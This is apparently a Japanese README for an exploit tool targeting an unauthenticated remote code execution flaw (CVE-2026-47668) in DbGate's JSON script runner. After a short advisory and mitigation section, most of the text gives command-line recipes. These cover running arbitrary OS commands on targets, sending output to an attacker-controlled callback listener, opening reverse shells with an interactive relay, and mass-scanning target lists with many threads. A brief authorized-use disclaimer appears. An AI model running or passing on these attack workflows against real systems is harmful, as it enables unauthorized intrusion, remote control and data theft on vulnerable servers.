
DbGate Unauthenticated Remote Code Execution
DbGate の JSON スクリプトランナー(dbgate-serve ≤ 7.1.8)における未認証 RCE。
評価ツール: CVE-2026-47668.py — 認可されたテストのみ。
| CVE | CVE-2026-47668 |
| 深刻度 | Critical |
| 製品 | DbGate / dbgate-serve |
| 影響を受けるバージョン | ≤ 7.1.8 |
| 修正バージョン | ≥ 7.1.9 |
| CVSS 3.1 | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-20, CWE-94, CWE-1188 |
タイトル: DbGate の JSON スクリプトランナーを介した未認証リモートコード実行
ユーザーが制御するフィールド(functionName、variableName)は、適切な検証なしに動的に生成される JavaScript に埋め込まれます。攻撃者は Node.js ランナーの子プロセスで任意のコードを実行できます。
緩和策: 7.1.9+ にアップグレードしてください。ネットワークアクセスを制限し、匿名認証を無効にし、認証情報をローテーションし、不審な /runners/start アクティビティがないかログを確認してください。
Telegram: @KNxploited
CVE-2026-47668.py は、認可されたテスト対象の DbGate インスタンスに対する悪用のチェックと検証を行います。
モード
結果
出力ディレクトリ: Nx/(vuln、dispatch、exfil、failed、list_report、exfil/ 配下のターゲット別ファイル)
pip install -r requirements.txt
必要条件: Python 3.9+、aiohttp、colorama
python CVE-2026-47668.py
| プロンプトへの入力 | 例 |
|---|---|
| 単一 URL | http://192.168.1.10:3000 |
| URL + コマンド | http://192.168.1.10:3000|id |
| ターゲットリスト | targets.txt |
CLI での実行には必ず --cli を含める必要があります。
python CVE-2026-47668.py --cli [options]
-u / --url — ターゲットのベース URL
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000
--cmd / --command — シェルコマンド(デフォルト: id)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --cmd "id"
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --cmd "uname -a"
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --cmd "ls -la /tmp"
--check-only — 脆弱性プローブのみ(コマンドなし)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --check-only
--vector — インジェクションベクター: functionName | variableName | both(両方)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --vector both --cmd id
--port — URL にポートが指定されていない場合のデフォルトポート(デフォルト: 3000)
python CVE-2026-47668.py --cli -u http://192.168.1.10 --port 3000 --cmd id
--token — 既存の Bearer トークンを使用
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --token "eyJhbGciOi..." --cmd id
--login-json — カスタムログインボディ(デフォルト: {"amoid":"none"})
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --login-json "{\"amoid\":\"none\"}" --cmd id
--timeout — HTTP タイムアウト(秒)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --timeout 20 --cmd id
--secure — TLS 証明書を検証
python CVE-2026-47668.py --cli -u https://dbgate.example.com:3000 --secure --cmd id
--cmd を使用する場合のデフォルト)--callback-host — ターゲットがあなたのリスナーに到達するために使用する IP/ホスト名
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --callback-host 192.168.1.5 --cmd id
--listen-host — HTTP リスナーのローカルバインドアドレス(デフォルト: 0.0.0.0)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --listen-host 0.0.0.0 --cmd id
--listen-port — HTTP エクスフィルポート(デフォルト: 8888)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --listen-port 8888 --cmd id
-c / --callback — 外部コールバック URL(組み込みリスナーを無効化)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 -c http://192.168.1.5:9999/ --cmd id
--wait-exfil — コールバック待機秒数(単一ターゲット、デフォルト: 8)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --wait-exfil 15 --cmd id
--no-b64 — base64 エンコードなしで出力を送信
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --no-b64 --cmd id
--async-exec — execSync の代わりに非同期の exec を使用
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --async-exec --cmd id
-f / --file — ターゲットリストファイル
python CVE-2026-47668.py --cli -f targets.txt --cmd id
-t / --threads — 同時実行ワーカー数(デフォルト: 30)
python CVE-2026-47668.py --cli -f targets.txt --cmd id -t 50
--mass-wait-exfil — マススキャン時のターゲットごとのコールバック待機時間(デフォルト: 8)
python CVE-2026-47668.py --cli -f targets.txt --cmd id --mass-wait-exfil 12
マススキャン + カスタムデフォルトポート
python CVE-2026-47668.py --cli -f targets.txt --port 3000 --cmd "id"
通常のテストでは必須ではありません。証明には HTTP エクスフィル(--cmd)を使用してください。
--reverse-shell — ターゲットが LHOST:LPORT に接続(値を省略 = LAN IP + ポート 4444)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444
--revsh-port — --reverse-shell に :port がない場合のポート
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5 --revsh-port 4444
--revsh-bind — ローカルリッスンアドレス
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444 --revsh-bind 0.0.0.0
--wait-revsh — TCP 接続待機時間(デフォルト: 15)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444 --wait-revsh 20
--revsh-interactive — 接続後の基本的な stdin/stdout リレー
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444 --revsh-interactive
Docker に関する注意: PC 上の 127.0.0.1 だけでなく、DbGate コンテナから到達可能な IP(例: ホストゲートウェイ)を使用してください。
targets.txt)# comment
192.168.1.10
192.168.1.11:3000
http://10.0.0.8:3000
http://10.0.0.9|uname -a
https://dbgate.local|id
host|command → 行ごとのコマンド上書きNx/list_report.txtPOST /auth/login → Bearer トークン(--token 指定時以外は自動)POST /runners/start → コマンド実行 + HTTP コールバック(有効な場合はリバース TCP)認可されたセキュリティテスト専用です。システムをテストするには明示的な許可が必要です。作者は、誤用または不正使用について一切の責任を負いません。
By: Nxploited
| 項目 | 詳細 |
|---|
| エンドポイント | POST /runners/start |
| 認証 | Bearer が必要。匿名/デフォルト設定のデプロイでは POST /auth/login 経由でトークンを取得可能 |
| インジェクション | JSON assign コマンド内の functionName、variableName |
| 影響 | DbGate プロセスのユーザーとしての OS コマンド実行 |
| モード | リバースシェル | 説明 |
|---|
| AUTO | なし | プロンプト1回; トークン + HTTP コールバック + デフォルト値 |
| CLI | 任意 | フラグによる完全制御 |
| Mass | なし | targets.txt からスキャン |
--reverse-shell | あり | オプションの TCP 検証(単一ターゲットのみ) |
| 結果 | 意味 |
|---|
| FAIL | 到達不能、認証失敗、または脆弱でない |
| VULN | ランナーがプローブのみ受け入れ |
| DISPATCH | ペイロード送信済み。確認済みの出力なし |
| EXFIL | コールバック受信 — コマンド出力を確認済み |
| REVSH | リバース TCP 接続(オプションモードのみ) |
| ファイル | 内容 |
|---|
Nx/vuln.txt | 脆弱なターゲット(プローブ成功) |
Nx/dispatch.txt | ペイロード送信済み、未確認 |
Nx/exfil.txt | 確認済みコールバック |
Nx/failed.txt | 失敗したターゲット |
Nx/exfil/<host>.txt | ターゲットごとのコマンド出力 |
Nx/sessions/<id>/summary.json | セッションサマリー |